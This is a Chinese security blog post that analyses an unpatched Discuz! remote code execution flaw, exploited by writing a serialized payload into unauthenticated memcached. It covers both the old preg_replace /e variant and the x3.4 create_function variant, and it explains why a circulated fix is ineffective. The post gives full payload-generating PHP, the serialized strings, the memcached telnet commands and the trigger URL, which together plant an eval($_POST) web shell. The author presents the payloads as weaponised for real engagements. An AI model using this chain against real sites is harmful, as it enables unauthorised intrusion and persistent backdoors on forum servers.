一、前言

这个漏洞大家一定不陌生,在16年的时候关于discuz! + ssrf +memcached的RCE漏洞让大家都很惊艳,一年过去了这个漏洞的修复情况又是怎样的呢?

二、漏洞简述

这个漏洞大致利用过程是这样的:利用discuz!的ssrf漏洞,利用gopher协议写入payload到memcached,然后请求特定链接导致代码执行漏洞。

可以看出漏洞利用两个关键点:

1.ssrf漏洞

2.代码执行漏洞

利用ssrf漏洞是要向memcached中写入payload,我们抽象的看ssrf只是写入payload的一种方式。如果memcached的11211端口绑定到了外网并且可以未授权访问,ssrf漏洞我们也可以不使用了。今天在做一个渗透测试的时候遇到了此种情况。

因此,现在我的关注点是代码执行漏洞。如果代码执行漏洞没有修复,我就可以利用memcached未授权漏洞写入payload,使用代码执行漏洞获取webshell。

三、discuz!代码执行漏洞分析

漏洞利用有两个版本,一个是老版本,一个是新版本,discuz!虽然已经是x3.4,代码也发生了变化,漏洞确是任然没有修复。

漏洞利用代码流程逻辑:

访问:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes
./source/module/forum/forum_ajax.php

./template/default/common/footer_ajax.htm

./source/function/function_core.php

./source/function/function_core.php

最后利用preg_replace函数/e参数的代码执行特性完成了漏洞利用的全部过程。

以上是老版本代码,在网上已经有一些分析了,在这里简述一些,重点是payload的完整性使用。网上文章大部分在payload部分都只是验证性演示。作为一名红队渗透测试人员,验证性payload肯定是不能再实际渗透测试活动中使用的。

四、漏洞利用流程

1 老版本漏洞利用流程:

生成payload

<?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}

​ 然后telnet链接memcached

telnet 1.1.1.1 11211
set xxxxxx_setting 1 0 yyy    //xxxx为前缀,discuz定义的,可以使用stats cachedump 命令查看。yyy为payload长度。

最后访问forum.php?mod=ajax&inajax=yes&action=getthreadtypes,shell生成/data/cache/ln.php。

2 网上给的修复代码是这样的

if (preg_match("(/|#|\+|%).*(/|#|\+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }

​ 这个修复完全没有作用,无效修复,preg_match的正则根本匹配不到/.*/e。注意看,正则代码没有给分隔符,而(成了分隔符,让正则失去了本来的作用,如果加上分隔符,正则匹配任何字符,将影响代码正常功能。

五、最新版本Discuz x3.4漏洞依旧存在

1 代码变化,漏洞依旧

​漏洞点代码已经被更新,但是漏洞并没有被修复,这种代码更新应该是为了适应php版本更新,因为php5.5以后preg_replace/e参数被废弃,官方建议使用preg_replace_callback

foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].';'), $content);
}

漏洞函数变成了create_function,这个函数大家都知道也是危险函数,可以造成代码执行漏洞。

2 新版本漏洞利用流程

生成payload有点变化(ps:只是少了一个e)

<?php
$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}

访问:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes

最后一定要恢复缓存

Delete Vtfbsm_setting

成功写入文件

四、总结

​ 直到最新版本discuz也没有修复这个漏洞,当初的ssrf结合memcached的漏洞,discuz只看到了ssrf漏洞,并没有留意到这个代码执行的漏洞。通过漏洞的抽象思维,我们知道控制memcached的方式不仅仅只有ssrf,再进一步到代码层,控制$G全局变量的方式也不仅仅只有memcached。

点击收藏 | 0 关注 | 3
登录 后跟帖